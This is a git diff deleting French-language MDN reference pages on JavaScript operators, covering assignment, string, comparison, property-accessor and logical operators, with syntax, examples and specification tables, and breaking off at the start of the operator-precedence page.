-//  truc = 5;
-
-truc /= 2;     // 2.5
-truc /= "toto"; // NaN
-truc /= 0;     // Infinity
-
- -

Affectation du reste

- -

Cet opérateur permet de divisier une variable par la valeur de l'opérande droit et d'affecter le reste de cette division à la variable. Pour plus d'informations, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_arithmétiques", "reste", "#Reste_(.25)", 1)}}.

- -

Syntaxe

- -
Opérateur : x %= y
-Signification :  x  = x % y
-
- -

Exemples

- -
// Si on a la variable suivante :
-//  truc = 5;
-
-truc %= 2;      // 1
-truc %= "toto"; // NaN
-truc %= 0;      // NaN
-
- -

Affectation après exponentiation

- -

L'opérateur d'affectation après exponentiation renvoie le résultat de l'élévation du premier opérande à la puissance donnée par le second opérande. Pour plus de détails, voir la page sur {{jsxref("Opérateurs/Opérateurs_arithmétiques", "l'opérateur d'exponentiation", "#Exponentiation_(**)", 1)}} for more details.

- -

Syntaxe

- -
Opérateur : x **= y
-Signification :  x  = x ** y
-
- -

Exemples

- -
// Si on a la variable :
-//  toto = 5
-
-toto **= 2      // 25
-toto **= "truc" // NaN
- -

Affectation après décalage à gauche

- -

Cet opérateur permet de décaler un nombre donné de bits vers la gauche, le résultat de l'opération est ensuite affecté à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à gauche", "#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29", 1)}} pour plus d'informations.

- -

Syntaxe

- -
Opérateur : x <<= y
-Signification :  x   = x << y
-
- -

Exemples

- -
var toto = 5; //  (00000000000000000000000000000101)
-toto <<= 2;   // 20 (00000000000000000000000000010100)
-
- -

Affectation après décalage à droite

- -

Cet opérateur permet de décaler un nombre donné de bits vers la droite, le résultat de l'opération est ensuite affecté à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à droite", "##.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29", 1)}} pour plus d'informations.

- -

Syntaxe

- -
Opérateur : x >>= y
-Signification :  x   = x >> y
-
- -

Exemples

- -
var toto = 5; //   (00000000000000000000000000000101)
-toto >>= 2;   // 1 (00000000000000000000000000000001)
-
-var toto -5; //    (-00000000000000000000000000000101)
-toto >>= 2;  // -2 (-00000000000000000000000000000010)
-
- -

Affectation après décalage à droite non-signé

- -

Cet opérateur permet de décaler le contenu de la variable d'un nombre de bits donné pour ensuite affecter le résultat à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à droite non-signé", "#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29", 1)}} pour plus de détails.

- -

Syntaxe

- -
Opérateur : x >>>= y
-Signification :  x    = x >>> y
-
- -

Exemples

- -
var toto = 5; //   (00000000000000000000000000000101)
-toto >>>= 2;  // 1 (00000000000000000000000000000001)
-
-var toto = -5; // (-00000000000000000000000000000101)
-toto >>>= 2; // 1073741822 (00111111111111111111111111111110)
- -

Affectation après ET binaire

- -

Cet opérateur effectue une opération ET binaire sur les deux opérandes et affecte le résultat de l'opération à la variable (l'opérande gauche). Pour plus d'informations sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "binaire ET", "#&_.28ET_binaire.29", 1)}}.

- -

Syntaxe

- -
Opérateur : x &= y
-Signification :  x  = x & y
-
- -

Exemple

- -
var truc = 5;
-// 5:     00000000000000000000000000000101
-// 2:     00000000000000000000000000000010
-truc &= 2; // 0
-
- -

Affectation après OU exclusif (XOR) binaire

- -

Cet opérateur utilise une représentation binaire des deux opérandes, effectue une opération binaire avec un OU exclusif et affecte le résultat à la variable. Pour plus d'informations sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "binaire OU exclusif", "#.5E_.28XOR_binaire.29", 1)}}.

- -

Syntaxe

- -
Opérateur : x ^= y
-Signification :  x  = x ^ y
-
- -

Exemple

- -
var toto = 5;
-toto ^= 2; // 7
-// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-// -----------------------------------
-// 7: 00000000000000000000000000000111
-
- -

Affectation après OU binaire

- -

Cet opérateur utilise une représentation binaire des deux opérandes, effectue un OU logique binaire entre ces deux variables et affecte le résultat de l'opération à la variable. Pour plus de détails sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "OU binaire", "#|_.28OU_binaire.29", 1)}}.

- -

Syntaxe

- -
Opérateur : x |= y
-Signification :  x  = x | y
-
- -

Exemple

- -
var toto = 5;
-toto |= 2; // 7
-// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-// -----------------------------------
-// 7: 00000000000000000000000000000111
-
- -

Exemples

- -

Opérande gauche utilisé avec un autre opérateur d'affectation

- -

Dans certains cas, l'opérateur d'affectation (par exemple x += y) n'est pas identique à l'expression développée correspondante (respectivement x = x + y). Lorsque l'opérande gauche contient lui-même un opérateur d'affectation, l'opérande gauche n'est évalué qu'une fois. Ainsi :

- -
a[i++] += 5         // i est évalué une fois
-a[i++] = a[i++] + 5 // i est évalué deux fois
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.assignment")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_cha\303\256nes/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_cha\303\256nes/index.html" deleted file mode 100644 index 5b7ec3375f..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_cha\303\256nes/index.html" +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Opérateurs de chaînes -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_chaînes -translation_of: Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition -translation_of_original: Web/JavaScript/Reference/Operators/String_Operators ---- -

 

-

Résumé

-

En complément des opérateurs de comparaison, qui peuvent être utilisés sur des valeurs chaînes de caractères, l'opérateur de concaténation (+) permet d'assembler deux chaînes, en renvoyant une nouvelle chaîne étant l'union des deux opérandes chaînes. Par exemple, "ma " + "chaîne" renvoie la chaîne "ma chaîne".

-

L'opérateur raccourci d'assignation += peut également être utilisé pour concaténer des chaînes. Par exemple, si la variable ma_chaine a la valeur "alpha", l'expression ma_chaine += "bet" sera évaluée à "alphabet" et assignera cette valeur à la variable ma_chaine.

- - - - - - - - - - - - - - -
Opérateur
Implémentation :JavaScript 1.0
Version ECMA :ECMA-262
-
-  
-

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Operators/String_Operators", "es": "es/Referencia_de_JavaScript_1.5/Operadores/String", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/Operatory/Operatory_dzia\u0142aj\u0105ce_na_ci\u0105gach_znak\u00f3w" } ) }}

diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_comparaison/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_comparaison/index.html" deleted file mode 100644 index 50d1221a40..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_comparaison/index.html" +++ /dev/null @@ -1,257 +0,0 @@ ---- -title: Opérateurs de comparaison -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison -tags: - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators ---- -
{{jsSidebar("Operators")}}
- -

JavaScript possède des opérateurs de comparaisons stricts et des opérateurs de comparaisons qui effectuent des conversions. Une comparaison strict (ex. : ===) ne sera vraie que si les deux opérandes sont du même type. La comparaison d'égalité faible (==) convertira les deux opérandes en un même type avant d'effectuer la comparaison. Pour les comparaisons relationnelles (ex. : <=), les opérandes sont tout d'abord converties en valeurs, puis en valeurs du même type, enfin la comparaison est effectuée.

- -

Les chaînes de caractères sont comparées en fonction de l'ordre lexicographique, avec des valeurs Unicode.

- -
{{EmbedInteractiveExample("pages/js/expressions-comparisonoperators.html")}}
- - - -

Les règles de comparaisons pour les types primitifs sont les suivantes :

- -
    -
  • Deux chaînes de caractères sont strictement égales lorsqu'elles ont la même séquence de caractères, la même longueur et les mêmes caractères aux mêmes positions.
    • -
  • Deux nombres sont strictement égaux lorsqu'ils ont la même valeur. {{jsxref("Objets_globaux/NaN","NaN")}} n'est égal à rien, y compris lui-même. Le zéro positif et le zéro négatif sont considérés égaux.
    • -
  • Deux booléens sont strictement égaux s'ils valent tous les deux true ou tous les deux false.
    • -
  • Deux objets distincts ne sont jamais égaux l'un à l'autre (pour l'égalité faible et stricte).
    • -
  • Deux objets sont égaux si les deux opérandes sont des références au même objet.
    • -
  • Les types nul et indéfini sont strictement égaux à eux-mêmes et sont faiblement égaux l'un à autre.
    • -
- -

Les opérateurs d'égalité

- -

Égalité simple (==)

- -

L'opérateur d'égalité simple convertit les deux opérandes s'ils ne sont pas du même type, ensuite la comparaison stricte est appliquée. Si les deux opérandes sont des objets, le moteur JavaScript comparera les références internes pour voir si elles réfèrent au même objet en mémoire.

- -

Syntaxe

- -
x == y
-
- -

Exemples

- -
 1   ==  1;        // true
-"1"  ==  1;        // true
- 1   == '1';       // true
- 0   == false;     // true
- 0   == null;      // false
- 0   == undefined  // false
-null == undefined  // true
-
-var obj1 = { "clé": "valeur"};
-var obj2 = { "clé": "valeur"};
-obj1 == obj2       // false
-
- -

Inégalité simple (!=)

- -

L'opérateur d'inégalité simple renvoie true si les deux opérandes ne sont pas égaux. Si les deux opérandes ne sont pas du même type, une conversion sera effectuée vers un type adéquat. Si les deux opérandes sont des objets, le moteur JavaScript comparera les références internes pour voir si elles réfèrent à des objets différents en mémoire.

- -

Syntaxe

- -
x != y
- -

Exemples

- -
1 !=   2;     // true
-1 !=  "1";    // false
-1 !=  '1';    // false
-1 !=  true;   // false
-0 !=  false;  // false
-
- -

Égalité stricte (===)

- -

L'opérateur d'égalité stricte renvoie true si les opérandes sont strictement égaux (voir ci-avant), aucune conversion de type n'est effectuée.

- -

Syntaxe

- -
x === y
- -

Exemples

- -
3 === 3   // true
-3 === '3' // false
-
-var objet1 = {'clé': 'valeur'};
-var objet2 = {'clé': 'valeur'};
-objet1 === objet2; // false
-
- -

Inégalité stricte (!==)

- -

L'opérateur d'inégalité stricte renvoie true si les opérandes sont de types différents ou ne sont pas égaux.

- -

Syntaxe

- -
x !== y
- -

Exemples

- -
3 !== '3' // true
-4 !== 3   // true
-
- -

Opérateurs relationnels

- -
-

Note : Chacun de ces opérateurs invoquera la fonction valueOf() des opérandes qui sont des objets avant d'effectuer la comparaison.

-
- -

Supérieur strict (>)

- -

Cet opérateur renvoie true si l'opérande gauche est strictement supérieur à l'opérande droit.

- -

Syntaxe

- -
x > y
- -

Exemples

- -
4 > 3; // true
-
- -

Supérieur ou égal (>=)

- -

Cet opérateur renvoie true si l'opérande gauche est supérieur ou égal à l'opérande droit

- -

Syntaxe

- -
 x >= y
- -

Exemples

- -
4 >= 3; // true
-3 >= 3; // true
-
- -

Inférieur strict (<)

- -

Cet opérateur renvoie true si l'opérande gauche est strictement inférieur à l'opérande droit

- -

Syntaxe

- -
 x < y
- -

Exemples

- -
3 < 4; // true
-
- -

Inférieur ou égal (<=)

- -

Cet opérateur renvoie true si l'opérande gauche est inférieur ou égal à l'opérande droit

- -

Syntaxe

- -
 x <= y
- -

Exemples

- -
3 <= 4; // true
-
- -

Utiliser les opérateurs d'égalité

- -

Les opérateurs d'égalité/inégalité faible (== et !=) utilisent l'algorithme de comparaison d'égalité abstraite afin de comparer les deux opérandes. Si les opérandes sont de types primitifs différents, le moteur tentera de les convertir en un même type avant d'effectuer la comparaison. Ainsi, dans l'expression 5 == '5', la chaîne de droite est convertie en un nombre avant que la comparaison soit faite.

- -

Les opérateurs d'égalité/inégalité stricte (=== et !==) utilisent l'algorithme de comparaison d'égalité stricte. Si les opérandes sont de types différents, le résultat sera toujours false, on aura donc 5 !== '5'.

- -

Selon qu'on souhaite comparer des opérandes qui sont censés avoir le même type ou non, on utilisera l'un ou l'autre type d'opérateur.

- -

Si un opérande doit être comparé à un autre type, le moteur effectuera une conversion de la façon suivante :

- -
    -
  • Lorsqu'une comparaison est opérée entre une chaîne de caractères et un nombre, Javascript tente de convertir la chaine en une valeur numérique. Une valeur mathématique est obtenue à partir de la chaîne littérale numérique, puis celle-ci est arrondie à une valeur de type Nombre.
    • -
  • Si l'un des opérandes est de type booléen, true sera converti en 1 et false en +0.
    • -
  • Si on compare un objet avec un nombre ou une chaîne, le moteur JavaScript tentera de renvoyer la valeur par défaut de l'objet. Les opérateurs opèrent une conversion grâce aux méthodes valueOf (pour obtenir un nombre) et toString (pour obtenir une chaîne de caractères). Si cela ne fonctionne pas, une exception sera levée.
    • -
  • Un objet sera converti en un type primitif autre uniquement si l'autre opérande est un type primitif (autre qu'objet). Si les deux opérandes sont des objets, ils seront comparés comme deux objets (voir ci-avant) et l'égalité ne sera vérifiée que si les opérandes font référence au même objet en mémoire
    • -
- -
-

Note : Voir également la page sur les différents tests d'égalité et quand les utiliser.

-
- -
Note : Les objets String sont du type objet et ne sont pas de simples chaînes de caractères ! Cela peut parfois avoir des conséquences surprenantes :
- -
// true car les deux opérandes sont du type primitif chaîne de caractères
-'toto' === 'toto'
-
-var a = new String('toto');
-var b = new String('toto');
-
-// false car a et b sont du type objet mais font référence à deux objets distincts
-a == b
-
-// false car a et b sont du type objet mais font référence à deux objets distincts
-a === b
-
-// true car a et 'toto' sont de type différents et lorsque a est
-// converti, la fonction de conversion renvoie bien la chaîne 'toto'
-a == 'toto'
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES3')}}{{Spec2('ES3')}}Ajoute les opérateurs === et !==. Implémentés avec JavaScript 1.3
{{SpecName('ES5.1', '#sec-11.8')}}{{Spec2('ES5.1')}}Définis dans plusieurs sections de la spécification : opérateurs relationnels, opérateurs d'égalité
{{SpecName('ES6', '#sec-relational-operators')}}{{Spec2('ES6')}}Définis dans plusieurs sections de la spécification : opérateurs relationnels, opérateurs d'égalité
{{SpecName('ESDraft', '#sec-relational-operators')}}{{Spec2('ESDraft')}}Définis dans plusieurs sections de la spécification : opérateurs relationnels, opérateurs d'égalité
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.comparison")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_membres/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_membres/index.html" deleted file mode 100644 index e78aae110d..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_membres/index.html" +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Accesseurs de propriétés -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres -tags: - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/Property_Accessors ---- -
{{jsSidebar("Operators")}}
- -

Les accesseurs de propriété permettent de fournir un accès aux propriétés d'un objet en utilisant une notation avec un point ou une notation avec des crochets

- -
{{EmbedInteractiveExample("pages/js/expressions-propertyaccessors.html")}}
- - - -

Syntaxe

- -
objet.propriété
-objet["propriété"]
-
- -

Description

- -

Les objets peuvent être vus comme des tableaux associatifs (map, dictionnaires, table de hachage, annuaire, etc.). Les clés (keys) de ce tableau sont les noms des propriétés de l'objet. Lorsqu'on parle d'objets, on fait généralement une distinction entre les propriétés et les méthodes. En réalité cette différence est plus dûe à une convention qu'à une réelle distinction. En effet, une méthode est simplement une propriété qu'on peut appeler (sa valeur fera souvent référence à une instance de {{jsxref("Function")}}).

- -

Il existe deux façons d'accéder aux propriétés d'un objet : la notation avec point et la notation avec crochets.

- -

Notation avec point

- -
obtenir = objet.propriété;
-objet.propriété = définir;
-
- -

propriété doit être un identifiant JavaScript valide, c'est-à-dire une séquence de caractères alphanumériques, soulignés (« _ ») et signes dollar (« $ »), qui ne peut commencer par un nombre. Par exemple, objet.$1 est valide, mais objet.1 ne l'est pas.

- -
document.createElement('pre');
-
- -

Ici, la méthode createElement est obtenue depuis l'objet document et est appelée.

- -

Si on utilise une méthode pour un littéral numérique et que celui-ci ne possède pas de point décimal ni d'exposant lié à la notation scientifique, il faudra laisser un ou plusieurs blancs afin que l'appel soit bien interprété comme un appel de méthode plutôt que comme un séparateur décimal :

- -
77 .toExponential();
-// ou
-77
-.toExponential();
-// ou, mieux pour la lisibilité
-(77).toExponential();
-// ou encore
-77.0.toExponential();
-// 77. correspond à 77.0 et là il n'y a aucun doute
-
- -

Notation avec crochets

- -
obtenir = objet[nom_de_propriété];
-objet[nom_de_propriété] = définir;
-
- -

nom_de_propriété est une chaîne de caractères ou un {{jsxref("Symbol","symbole","","")}}. Elle n'a pas besoin d'être un identifiant valide ; elle peut avoir n'importe quelle valeur, par exemple "1foo", "!bar!" ou même " " (une espace).

- -

Exemple

- -
document['createElement']('pre');
-
- -

Cette ligne fait exactement la même chose que l'exemple précédent.

- -

Noms de propriétés

- -

Les noms de propriétés doivent être des chaînes de caractères ou des symboles. Cela signifie que les autres types d'objet ne peuvent pas être utilisés comme clés d'un objet. Tout autre type d'objet, même un nombre, sera converti en une chaîne via sa méthode toString.

- -

Exemples

- -
var objet = {};
-objet['1'] = 'valeur';
-console.log(objet[1]);
-
- -

Ceci affichera « valeur », étant donné que le nombre 1 sera converti en une chaîne "1".

- -
var toto = {propriété_unique : 1}, truc = {propriété_unique : 2}, objet = {};
-objet[toto] = 'valeur';
-console.log(objet[truc]);
-
- -

Ce code affichera également « valeur », étant donné que toto et truc seront convertis en la même chaîne de caractères. Dans le cas du moteur JavaScript SpiderMonkey, cette chaîne serait "['object Object']".

- -

Liaison de méthodes

- -

Une méthode n'est pas liée à l'objet dont elle est une méthode. En particulier, this n'est pas défini dans une méthode, c'est-à-dire que this ne fait pas nécessairement référence à un objet contenant la méthode. En réalité, this est « passé » par l'appel de la fonction.

- -

Pour plus d'informations, consultez la page sur l'opérateur this et les liaisons de méthodes.

- -

Note concernant eval

- -

Les nouveaux venus en JavaScript font souvent l'erreur d'utiliser {{jsxref("eval", "eval()")}} alors que la notation avec crochets pourrait être utilisée. Par exemple, la syntaxe suivante est utilisée dans de nombreux scripts.

- -
x = eval('document.formulaire.' + controle + '.value');
-
- -

eval est lente et insécurisée et devrait être évitée dès que possible. Il est préférable d'utiliser la notation avec crochets :

- -
x = document.formulaire[controle].value;
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-property-accessors', 'Accesseurs de propriété')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.2.1', 'Accesseurs de propriété')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.2.1', 'Accesseurs de propriété')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.property_accessors")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_logiques/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_logiques/index.html" deleted file mode 100644 index 6b82320d69..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_logiques/index.html" +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: Opérateurs logiques -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators ---- -
{{jsSidebar("Operators")}}
- -

Les opérateurs logiques sont typiquement utilisés avec des valeurs booléennes (logiques) ; lorsque c'est le cas, ils renvoient une valeur booléenne également. Cependant, les opérateurs && et || renvoient en réalité la valeur d'un des opérandes spécifiés. Si ces opérateurs sont utilisés avec des valeurs non booléennes, ils peuvent donc également renvoyer une valeur non booléenne.

- -

{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}

- - - -

Description

- -

Les opérateurs logiques sont décrits dans le tableau suivant (les expressions indiquées comme opérandes peuvent être de n'importe quel type et pas nécessairement être booléennes au sens strict) :

- - - - - - - - - - - - - - - - - - - - - - - - -
OpérateurUsageDescription
ET logique (&&)expr1 &&expr2 Renvoie expr1 si cette expression peut être convertie en false, sinon renvoie expr2.
OU logique (||)expr1 ||expr2 Renvoie expr1 si cette expression peut être convertie en true, sinon renvoie expr2.
NON logique (!)!expr Renvoie false si son opérande unique peut être converti en true, sinon il renvoie true.
- -

Si une valeur peut être convertie en true, on dit en anglais qu'elle est truthy. Pour false on dit qu'elle est falsy.

- -

Parmi les expressions qui peuvent être converties en false, citons celles qui seront évaluées à :

- -
    -
  • null,
    • -
  • NaN,
    • -
  • 0,
    • -
  • la chaîne vide ("" ou '' ou ``),
    • -
  • undefined.
    • -
- -

Même si les opérateurs && et || peuvent être utilisés avec des opérandes qui ne sont pas des valeurs booléennes, ils peuvent toujours être considérés comme des opérateurs booléens puisque leurs valeurs de retour peuvent toujours être converties en valeurs booléennes.

- -

Évaluation court-circuit

- -

Comme les expressions logiques sont évaluées de gauche à droite, leur évaluation sera éventuellement « court-circuitée » à l'aide des règles suivantes :

- -
    -
  • l'évaluation de false && n'importe quoi est court-circuitée en false.
    • -
  • l'évaluation de true || n'importe quoi est court-circuitée en true.
    • -
- -

Les règles de la logique garantissent que ces évaluations seront toujours correctes. Notons que la partien'importe quoi des expressions mentionnées ci-dessus ne sera jamais évaluée, et que tout effet de bord éventuel induit par cette évaluation ne se produira pas.

- -

Ainsi, les deux fonctions suivantes sont équivalentes :

- -
function courtCircuit() {
-  // OU logique
-  faireQuelqueChose() || faireAutreChose();
-
- faireQuelqueChose() && faireAutreChose();
-}
-
-function évaluationÉquivalente() {
-  var orFlag = faireQuelqueChose();
-  if (!orFlag) {
-    faireAutreChose();
-  }
-
-  var andFlag = faireQuelqueChose();
-  if (andFlag) {
-    faireAutreChose();
-  }
-}
-
- -

Précédence des opérateurs

- -

Les expressions suivantes ne sont pas équivalentes en raison de la précédence des opérateurs. Cela permet de noter que l'opérande droit ne doit être qu'une seule expression (si nécessaire entourée de parenthèses).

- -
true || false && false   // renvoie true car && est appliqué en premier
-(true || false) && false // renvoie false car || est appliqué en premier grâce aux parenthèses
- -

ET logique (&&)

- -

Le code qui suit illustre comment utiliser l'opérateur && (ET logique).

- -
a1 = true  && true      // t && t renvoie true
-a2 = true  && false     // t && f renvoie false
-a3 = false && true      // f && t renvoie false
-a4 = false && (3 == 4)  // f && f renvoie false
-a5 = "Yip" && "Yop"     // t && t renvoie "Yop"
-a6 = false && "Yop"     // f && t renvoie false
-a7 = "Yop" && false     // t && f renvoie false
-a8 = ""    && true      // f && f renvoie ""
-a9 = false && ""        // f && f renvoie false
-
- -

OU logique (||)

- -

Le code qui suit illustre quelques exemples d'utilisation de l'opérateur || (OU logique).

- -
o1 = true  || true       // t || t renvoie true
-o2 = false || true       // f || t renvoie true
-o3 = true  || false      // t || f renvoie true
-o4 = false || (3 == 4)   // f || f renvoie false
-o5 = "Yip" || "Yop"      // t || t renvoie "Yip"
-o6 = false || "Yip"      // f || t renvoie "Yip"
-o7 = "Yip" || false      // t || f renvoie "Yip"
-o8 = ""    || false      // f || f renvoie false
-o9 = false || ""         // f || f renvoie ""
-010 = false|| monObjet   // f || objet renvoie monObjet
-
- -

NON logique(!)

- -

Le code qui suit illustre quelques exemples d'utilisation de l'opérateur ! (NON logique).

- -
n1 = !true              // !t renvoie false
-n2 = !false             // !f renvoie true
-n3 = !""                // !f renvoie true
-n3 = !"Yop"             // !t renvoie false
-
- -

Utilisation de la double négation

- -

Il est possible d'utiliser deux fois le NON logique à la suite afin de forcer la conversion d'une valeur en un booléen. On obtiendra ainsi le booléen true si la valeur est équivalente à vrai et false si la valeur est équivalente à faux. Cette opération de conversion peut également être réalisée grâce à la fonction {{jsxref("Boolean")}}.

- -
n1 = !!true;                 // une valeur équivalente à true renvoie true
-n2 = !!{};                   // un objet, même vide est toujours équivalent à true
-n3 = !!(new Boolean(false)); // même lorsque leur constructeur est Boolean !
-n4 = !!false;                // une valeur équivalente à false renvoie false
-n5 = !!"";                   // idem
-n6 = !!Boolean(false);       // ici Boolean n'est pas utilisé comme constructeur
-                             // et la valeur produite est bien équivalente à false
- -

Règles de conversions

- -

Convertir un ET logique avec des OU logiques

- -

L'opération suivante

- -
condition1 && condition2
- -

sera toujours égale à :

- -
!(!condition1 || !condition2)
- -

Convertir un OU logique avec des ET logiques

- -

L'opération suivante :

- -
condition1 || condition2
- -

sera toujours égale à :

- -
!(!condition1 && !condition2)
- -

Convertir des NON logiques successifs

- -

Si on a l'opération suivante avec un booléen :

- -
!!condition
-
- -

elle sera toujours équivalente à

- -
condition
- -

Retirer les parenthèses imbriquées

- -

Les expressions logiques sont évaluées de gauche à droite, il est donc possible de retirer certaines parenthèses d'une expression complexe grâce à quelques règles.

- -

Retirer les parenthèses d'un ET imbriqué

- -

Cette opération :

- -
condition1 || (condition2 && condition3)
- -

sera toujours équivalente à :

- -
condition1 || condition2 && condition3
- -

Retirer les parenthèses d'un OU imbriqué

- -

Cette opération :

- -
condition1 && (condition2 || condition3)
- -

sera toujours équivalente à :

- -
!(!condition1 || !condition2 && !condition3)
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11.11')}}{{Spec2('ES5.1')}}Définis dans plusieurs sections de la spécification : opérateur NON logique, opérateurs logiques binaires
{{SpecName('ES6', '#sec-binary-logical-operators')}}{{Spec2('ES6')}}Définis dans plusieurs sections de la spécification : opérateur NON logique, opérateurs logiques binaires
{{SpecName('ESDraft', '#sec-binary-logical-operators')}}{{Spec2('ESDraft')}}Définis dans plusieurs sections de la spécification : opérateur NON logique, opérateurs logiques binaires
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.logical")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/pr\303\251c\303\251dence_des_op\303\251rateurs/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/pr\303\251c\303\251dence_des_op\303\251rateurs/index.html" deleted file mode 100644 index 1aac441b77..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/pr\303\251c\303\251dence_des_op\303\251rateurs/index.html" +++ /dev/null @@ -1,359 +0,0 @@ ---- -title: Précédence des opérateurs -slug: Web/JavaScript/Reference/Opérateurs/Précédence_des_opérateurs -tags: - - JavaScript - - Opérateur - - Reference - - precedence -translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence ---- -
{{jsSidebar("Operators")}}
- -

La précédence des opérateurs détermine l'ordre dans lequel les opérateurs sont évalués. Les opérateurs avec la plus haute précédence sont évalués en premier.

- -

Ainsi, l'opérateur de multiplication (« * ») (ayant une précédence plus haute que l'opérateur d'addition (« + »)) est évalué en premier et l'expression 6 * 4 + 2 renverra 26 (et pas 36).

- -
{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}
- - - -

Associativité

- -

L'associativité détermine l'ordre dans lequel des opérateurs de même précédence sont évalués. Par exemple, considérons l'expression suivante :

- -
a OP b OP c
-
- -

Une associativité de gauche (gauche à droite) signifie qu'elle est évaluée comme (a OP b) OP c, tandis qu'une associativité de droite (droite à gauche) signifie qu'elle est interprétée comme a OP (b OP c). Les opérateurs d'affectation sont associatifs de droite, on peut donc écrire :

- -
a = b = 5;
-
- -

avec le résultat attendu que a et b obtiennent la même valeur de 5. C'est parce que l'opérateur d'affectation retourne la valeur qu'il affecte. D'abord, b est défini à la valeur 5. Ensuite, a est défini avec la valeur renvoyée par b = 5 qui est 5.

- -

Exemples

- -
3 > 2 && 2 > 1
-// renvoie true
-
-3 > 2 > 1
-// renvoie false car 3 > 2 vaut true et que true > 1 vaut false
-// En ajoutant des parenthèses, on y voit plus clair (3 > 2) > 1
-
- -

Tableau

- -

Le tableau suivant est classé de la plus haute (0) à la plus basse (19) précédence.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
